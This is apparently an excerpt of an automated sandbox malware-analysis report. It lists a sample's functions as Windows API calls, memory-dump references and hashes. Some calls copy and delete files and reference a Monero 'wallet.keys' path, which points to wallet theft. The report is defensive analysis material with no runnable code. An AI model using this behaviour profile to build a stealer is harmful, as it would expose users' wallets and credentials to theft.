RegQueryValueExA.ADVAPI32(?,00E4DEB8,00000000,00000000,00000000,000000FF), ref: 006E4118
RegCloseKey.ADVAPI32(?), ref: 006E4122
lstrcat.KERNEL32(?,00000000), ref: 006E4147
lstrcat.KERNEL32(?,00E4DF30), ref: 006E415B

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 391cf1db65b52afbd2d6a75d8b103a5d2c12a77d560cc1db3e5750cf0b18d010
Instruction ID: 50b3549f06dc832f58ab2a705fad9874ecbeaad2364069385ca1377bc18a4a90
Opcode Fuzzy Hash: 391cf1db65b52afbd2d6a75d8b103a5d2c12a77d560cc1db3e5750cf0b18d010
Instruction Fuzzy Hash: E4418AB6D102086BDB14EBE0EC56FFE733DAB48300F40855DB61557181EAB55F88CB92

Function 006E7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006E7E37
RtlAllocateHeap.NTDLL(00000000), ref: 006E7E3E
RegOpenKeyExA.ADVAPI32(80000002,00E3C470,00000000,00020119,?), ref: 006E7E5E
RegQueryValueExA.ADVAPI32(?,00E4DD40,00000000,00000000,000000FF,000000FF), ref: 006E7E7F
RegCloseKey.ADVAPI32(?), ref: 006E7E92

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 02514fb8a0c3350726543fd8ef96af5a35927b6de0eb5b40a528cf0867c6447b
Instruction ID: 715e1503b1d2b24e900531486c518e0f983f177c84272086e49d9107ffdf1262
Opcode Fuzzy Hash: 02514fb8a0c3350726543fd8ef96af5a35927b6de0eb5b40a528cf0867c6447b
Instruction Fuzzy Hash: 0E118CB1A49309EBD710CF95DD4AFBBBBB9EB04B10F108159F605A7280D7745D01DBA1

Function 006D12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006D12B4
RtlAllocateHeap.NTDLL(00000000), ref: 006D12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 006D12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 006D12F5
RegCloseKey.ADVAPI32(?), ref: 006D12FF

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: dc3c9f6cc9292079300ebfaf3c16ed2ce26ca727333d4b870daafa994de58dd7
Instruction ID: dc869b647b80a882130f1463d95f96e4299da69a07a079683cafb1136c92e740
Opcode Fuzzy Hash: dc3c9f6cc9292079300ebfaf3c16ed2ce26ca727333d4b870daafa994de58dd7
Instruction Fuzzy Hash: 020131B9B54208BBDB00DFE4DC49FEEB7B8EB48701F008199FA1597280D6759A01DF51

Function 006EC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 006EC8EC
___crtLCMapStringA.LIBCMT ref: 006EC90C
___crtLCMapStringA.LIBCMT ref: 006EC931

Strings

, xrefs: 006EC896

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: c61eec155d13f9c3f32ccf0d3857a3929d05a046bfa487b41f5511b3958022f8
Instruction ID: e2507a5e2588f127d2da88531f4281443dd94bc9b6f34414287f464b9beee870
Opcode Fuzzy Hash: c61eec155d13f9c3f32ccf0d3857a3929d05a046bfa487b41f5511b3958022f8
Instruction Fuzzy Hash: B04125711017CC5EDB218B258D84FFB7BEA9B41314F1444E8E98A86183D2719A46DF24

Function 006E6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 006E6663

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

Part of subcall function 006EA9B0: lstrlen.KERNEL32(?,00E491C8,?,\Monero\wallet.keys,006F0E17), ref: 006EA9C5
Part of subcall function 006EA9B0: lstrcpy.KERNEL32(00000000), ref: 006EAA04
Part of subcall function 006EA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006EAA12

Part of subcall function 006EA8A0: lstrcpy.KERNEL32(?,006F0E17), ref: 006EA905

ShellExecuteEx.SHELL32(0000003C), ref: 006E6726
ExitProcess.KERNEL32 ref: 006E6755

Strings

<, xrefs: 006E66D9

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 95462508b05d9bb7bea95b213a967fc142dc6b6cb3986e6b4d3e4fb59df6ede8
Instruction ID: 920a859ad89e50f15d812a1e8780c8549b5aa9ff163083a16412b1d29c0350d4
Opcode Fuzzy Hash: 95462508b05d9bb7bea95b213a967fc142dc6b6cb3986e6b4d3e4fb59df6ede8
Instruction Fuzzy Hash: 173149B1D12348AADB95EB91DC82BDEB779AF04300F404198F20966192DF746B49CF6A

Function 006E87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,006F0E28,00000000,?), ref: 006E882F
RtlAllocateHeap.NTDLL(00000000), ref: 006E8836
wsprintfA.USER32 ref: 006E8850

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

Strings

%dx%d, xrefs: 006E8847

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 2f8cedc636541ffa06f17bbc752a09942b2b623b2118aa4fe41f40b960ef3702
Instruction ID: 77eb27bc5a32e75a170e41fefa5c47be4035679cf2024e7578d9bd3b0f54ac73
Opcode Fuzzy Hash: 2f8cedc636541ffa06f17bbc752a09942b2b623b2118aa4fe41f40b960ef3702
Instruction Fuzzy Hash: 0C214AB1A55208AFDB00DF98DD49FEEBBB8FB48710F108159F605A7280C779AD01DBA1

Function 006E8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,006E951E,00000000), ref: 006E8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 006E8D62
wsprintfW.USER32 ref: 006E8D78

Strings

%hs, xrefs: 006E8D6F

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 62ac0158d453ef5d35f8115fe211b36af464bb973204ddc11239c189e603f57f
Instruction ID: 6d54c1b8793d3495684fc4185ef0cf1c4830165d365a8fa55882f12cd1eb58df
Opcode Fuzzy Hash: 62ac0158d453ef5d35f8115fe211b36af464bb973204ddc11239c189e603f57f
Instruction Fuzzy Hash: 3AE08CB0B55208BBDB00DB94DC0AEA977B8EB04702F008194FE0987280DA759E00EB92

Function 006DA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

Part of subcall function 006EA9B0: lstrlen.KERNEL32(?,00E491C8,?,\Monero\wallet.keys,006F0E17), ref: 006EA9C5
Part of subcall function 006EA9B0: lstrcpy.KERNEL32(00000000), ref: 006EAA04
Part of subcall function 006EA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006EAA12

Part of subcall function 006EA8A0: lstrcpy.KERNEL32(?,006F0E17), ref: 006EA905

Part of subcall function 006E8B60: GetSystemTime.KERNEL32(006F0E1A,00E4A900,006F05AE,?,?,006D13F9,?,0000001A,006F0E1A,00000000,?,00E491C8,?,\Monero\wallet.keys,006F0E17), ref: 006E8B86

Part of subcall function 006EA920: lstrcpy.KERNEL32(00000000,?), ref: 006EA972
Part of subcall function 006EA920: lstrcat.KERNEL32(00000000), ref: 006EA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 006DA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 006DA3FF
lstrlen.KERNEL32(00000000), ref: 006DA6BC

Part of subcall function 006EA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006EA7E6

DeleteFileA.KERNEL32(00000000), ref: 006DA743

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 9f30ae3c919a4c2b462bf4945a4f620563b8e14465bad5c00a140c583062cd45
Instruction ID: 1ca401f86505bb9b4fd92d7ee8ad10ea12906144ff1e899d968d8cb25c5faf94
Opcode Fuzzy Hash: 9f30ae3c919a4c2b462bf4945a4f620563b8e14465bad5c00a140c583062cd45
Instruction Fuzzy Hash: ACE12272D122489ADB44FBE5DC92EEE733AAF14300F51815DF51672092EF307A49CB6A

Function 006DD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

Part of subcall function 006EA9B0: lstrlen.KERNEL32(?,00E491C8,?,\Monero\wallet.keys,006F0E17), ref: 006EA9C5
Part of subcall function 006EA9B0: lstrcpy.KERNEL32(00000000), ref: 006EAA04
Part of subcall function 006EA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006EAA12

Part of subcall function 006EA8A0: lstrcpy.KERNEL32(?,006F0E17), ref: 006EA905

Part of subcall function 006E8B60: GetSystemTime.KERNEL32(006F0E1A,00E4A900,006F05AE,?,?,006D13F9,?,0000001A,006F0E1A,00000000,?,00E491C8,?,\Monero\wallet.keys,006F0E17), ref: 006E8B86

Part of subcall function 006EA920: lstrcpy.KERNEL32(00000000,?), ref: 006EA972
Part of subcall function 006EA920: lstrcat.KERNEL32(00000000), ref: 006EA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 006DD481
lstrlen.KERNEL32(00000000), ref: 006DD698
lstrlen.KERNEL32(00000000), ref: 006DD6AC
DeleteFileA.KERNEL32(00000000), ref: 006DD72B

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: a531baa392bdf7dd6284ed278bc4922f37a320ae8523b521140aa6e2411730af
Instruction ID: b6b7c6d9c1bb21b37a0ab8ff6c7ec4a0676aa24c270c4973287dc9ea85d214c9
Opcode Fuzzy Hash: a531baa392bdf7dd6284ed278bc4922f37a320ae8523b521140aa6e2411730af
Instruction Fuzzy Hash: FB9112729122489BDB44FBE5DC92DEE733AAF14300F51816DF50766092EF347A09CB6A

Function 006DD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

Part of subcall function 006EA9B0: lstrlen.KERNEL32(?,00E491C8,?,\Monero\wallet.keys,006F0E17), ref: 006EA9C5
Part of subcall function 006EA9B0: lstrcpy.KERNEL32(00000000), ref: 006EAA04
Part of subcall function 006EA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006EAA12

Part of subcall function 006EA8A0: lstrcpy.KERNEL32(?,006F0E17), ref: 006EA905

Part of subcall function 006E8B60: GetSystemTime.KERNEL32(006F0E1A,00E4A900,006F05AE,?,?,006D13F9,?,0000001A,006F0E1A,00000000,?,00E491C8,?,\Monero\wallet.keys,006F0E17), ref: 006E8B86

Part of subcall function 006EA920: lstrcpy.KERNEL32(00000000,?), ref: 006EA972
Part of subcall function 006EA920: lstrcat.KERNEL32(00000000), ref: 006EA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 006DD801
lstrlen.KERNEL32(00000000), ref: 006DD99F
lstrlen.KERNEL32(00000000), ref: 006DD9B3
DeleteFileA.KERNEL32(00000000), ref: 006DDA32

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 2153df76b9ab172316bedf83e28651ea911faa4b1ae203e1715b8e38197818fe
Instruction ID: 85feaf85aa480cdfff13d620e776eb989115f8f540e28d5026755a823ccd5dc0
Opcode Fuzzy Hash: 2153df76b9ab172316bedf83e28651ea911faa4b1ae203e1715b8e38197818fe
Instruction Fuzzy Hash: 438112719222489BDB44FBE5DC92DEE733AAF14300F51452DF507A6092EF347A09CB6A

Function 006DF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006EA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006EA7E6

Part of subcall function 006D99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006D99EC
Part of subcall function 006D99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 006D9A11
Part of subcall function 006D99C0: LocalAlloc.KERNEL32(00000040,?), ref: 006D9A31
